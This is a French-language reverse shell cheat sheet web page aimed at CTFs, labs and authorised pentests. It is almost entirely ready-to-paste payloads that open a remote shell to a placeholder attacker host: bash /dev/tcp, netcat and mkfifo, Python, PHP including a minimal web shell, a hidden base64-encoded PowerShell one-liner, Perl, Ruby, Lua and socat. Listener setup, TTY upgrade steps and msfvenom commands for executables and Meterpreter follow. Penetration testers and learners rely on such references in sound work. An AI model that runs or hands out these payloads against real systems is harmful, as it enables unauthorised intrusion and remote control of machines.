Reverse Shell — Cheatsheet 2026

Tous les payloads reverse shell dont vous avez besoin — bash, python, PHP, PowerShell, nc, socat, perl, ruby — plus la mise en place du listener et l'upgrade TTY complet. Prêt à copier-coller pour CTF, labs et pentests autorisés.

Dernière mise à jour :

Débutant ? Lisez notre guide complet pour débuter et situez l'obtention d'un shell dans la méthodologie.

Navigation rapide

01 Mettre en place un listener 02 Bash 03 Netcat 04 Python 05 PHP 06 PowerShell 07 Perl / Ruby / Autres 08 Socat (stable) 09 Upgrade TTY 10 msfvenom

# Mettre en place un listener

Avant tout payload, lancez un listener sur votre machine d'attaque. Les ports 443 ou 80 se fondent dans le trafic normal et sont rarement filtrés en sortie.

nc -lvnp 443
Listener netcat classique — verbeux, sans DNS, port 443
rlwrap nc -lvnp 443
Listener avec readline — flèches, historique et retour arrière fonctionnent
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 443; run"
Listener multi/handler Metasploit

# Reverse Shells Bash

Bash est sur presque tous les hôtes Linux. La méthode /dev/tcp ne nécessite aucun binaire supplémentaire.

bash -i >& /dev/tcp/ATTAQUANT/443 0>&1
Le reverse shell bash classique via /dev/tcp
bash -c 'bash -i >& /dev/tcp/ATTAQUANT/443 0>&1'
Encapsulé dans bash -c pour les contextes d'injection de commande
0<&196;exec 196<>/dev/tcp/ATTAQUANT/443; sh <&196 >&196 2>&196
Alternative avec un descripteur de fichier personnalisé
💡 Astuce : envoyé via un paramètre web ? URL-encodez-le, ou passez par base64 : echo -n 'bash -i >& ...' | base64 puis echo BASE64 | base64 -d | bash.

# Reverse Shells Netcat

Si netcat est installé, c'est l'option la plus simple. Repérez la variante présente — certaines n'ont pas l'option -e.

nc -e /bin/sh ATTAQUANT 443
Netcat avec -e (traditional / GNU netcat)
nc ATTAQUANT 443 -e /bin/bash
Idem, variante d'ordre des arguments
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTAQUANT 443 >/tmp/f
Netcat SANS -e (OpenBSD netcat) — l'astuce mkfifo
ncat ATTAQUANT 443 -e /bin/bash
Ncat (fourni avec Nmap)
ncat --ssl ATTAQUANT 443 -e /bin/bash
Ncat avec SSL — reverse shell chiffré

# Reverse Shells Python

Python est présent sur la plupart des systèmes Linux. Utilisez python3, repliez sur python.

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTAQUANT",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
Reverse shell Python3 — génère déjà un PTY
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTAQUANT",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Repli Python2

# Reverse Shells PHP

Parfait après un upload de fichier sur un serveur web, ou via LFI/RCE.

php -r '$sock=fsockopen("ATTAQUANT",443);exec("/bin/sh -i <&3 >&3 2>&3");'
Reverse shell PHP en une ligne
<?php system($_GET['cmd']); ?>
Web shell minimal — déclenchez un reverse shell via ?cmd=
php -r '$s=fsockopen("ATTAQUANT",443);$p=proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$pipes);'
Variante proc_open — fonctionne quand exec est désactivé

# Reverse Shells PowerShell (Windows)

PowerShell est la référence sous Windows. Le one-liner fonctionne sur quasiment tous les hôtes Windows modernes.

powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTAQUANT',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"
Le reverse shell PowerShell classique (style Nishang) en une ligne
powershell -nop -w hidden -e PAYLOAD_BASE64
Payload encodé en base64 (UTF-16LE) pour éviter les problèmes de guillemets
💡 Astuce : générez le payload base64 (UTF-16LE) sous Linux : echo -n 'IEX...' | iconv -t UTF-16LE | base64 -w0.

# Perl, Ruby & Autres

Replis quand bash/python/nc ne sont pas disponibles.

perl -e 'use Socket;$i="ATTAQUANT";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Reverse shell Perl
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTAQUANT",443);loop{c.puts `#{c.gets.chomp}`}'
Reverse shell Ruby
xterm -display ATTAQUANT:1
Reverse xterm (nécessite un serveur X + xhost + de votre côté)
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTAQUANT',443);os.execute('/bin/sh -i <&3 >&3 2>&3');"
Reverse shell Lua

# Socat — Shell pleinement stable

Socat fournit immédiatement un TTY pleinement interactif — sans astuce stty manuelle. Transférez le binaire socat si besoin.

socat file:`tty`,raw,echo=0 tcp-listen:443
Côté listener — à lancer sur votre machine d'attaque
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTAQUANT:443
Côté cible — reverse shell TTY pleinement interactif
socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0 file:`tty`,raw,echo=0
Listener chiffré (générez cert.pem avec openssl d'abord)

# Passer à un TTY complet

Un shell netcat brut est fragile — Ctrl+C le tue et vim/ssh/su cassent. Améliorez-le en quatre étapes.

python3 -c 'import pty;pty.spawn("/bin/bash")'
Étape 1 : générer un PTY (essayez script -qc /bin/bash /dev/null sans python)
export TERM=xterm
Étape 2 : définir le type de terminal (active clear, vim, etc.)
Ctrl+Z
Étape 3 : mettre le shell en arrière-plan
stty raw -echo; fg
Étape 4 : corriger le terminal local et revenir au premier plan — TTY complet, Ctrl+C sûr
💡 Astuce : après l'upgrade, lancez stty -a dans votre terminal pour lire rows/cols, puis fixez-les dans le shell : stty rows 38 cols 116 pour que les applis plein écran s'affichent correctement.

# Payloads msfvenom

Générez des binaires et scripts reverse shell autonomes quand vous avez besoin d'un fichier à déposer.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f exe -o rev.exe
Exécutable reverse shell Windows x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f elf -o rev.elf
ELF reverse shell Linux x64
msfvenom -p php/reverse_php LHOST=IP LPORT=443 -f raw -o rev.php
Script reverse shell PHP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=443 -f exe -o met.exe
Meterpreter (à attraper avec multi/handler)

❓ FAQ Reverse Shell

Une session shell où la cible se connecte vers vous au lieu que vous vous connectiez à elle. Cela contourne les pare-feux entrants puisque le trafic sortant est généralement autorisé. Lancez un listener (nc -lvnp 443) et exécutez un payload sur la cible.

Reverse : la cible se connecte vers vous (contourne les pare-feux entrants). Bind : la cible ouvre un port et vous vous connectez à elle (port devant être joignable). Les reverse shells sont préférés car le sortant est rarement bloqué.

nc -lvnp 443 est le classique. Utilisez rlwrap nc -lvnp 443 pour l'historique des flèches, ou un multi/handler Metasploit avec un payload correspondant.

Un shell netcat brut n'a pas de TTY — Ctrl+C le tue et vim/ssh/su se figent. Upgrade : python3 -c 'import pty;pty.spawn("/bin/bash")', puis Ctrl+Z, puis stty raw -echo; fg, puis export TERM=xterm.

Adaptez-vous à ce qui est installé. Linux : bash et python sont presque toujours là. Windows : PowerShell. Si netcat a -e, c'est le plus simple. Gardez une option socat pour un shell chiffré et stable.

Socat est le plus propre : socat file:`tty`,raw,echo=0 tcp-listen:443 sur votre hôte et socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTAQUANT:443 sur la cible.

msfvenom -p <payload> LHOST=IP LPORT=443 -f <format> -o sortie. Ex. windows/x64/shell_reverse_tcp ... -f exe. Attrapez avec un nc -lvnp 443 correspondant ou multi/handler.

Ils sont légitimes pour les pentests autorisés, les CTF et vos propres labs. Les utiliser contre des systèmes que vous ne possédez pas ou sans autorisation écrite est illégal. Restez toujours dans le périmètre.

📚 Ressources liées

Rapport de pentest assisté par IA

Transformez votre accès en rapport PDF professionnel. L'IA remplit CVE, CVSS et sévérité.

Essayer gratuitement →

Envie des 12 020+ commandes ?

Cette cheatsheet reverse shell n'est qu'une branche de la carte. Pentest Mindmap organise 12 020+ commandes en 34 catégories — de la recon à la post-exploitation — avec recherche instantanée et copie en un clic.

Commencer gratuitement →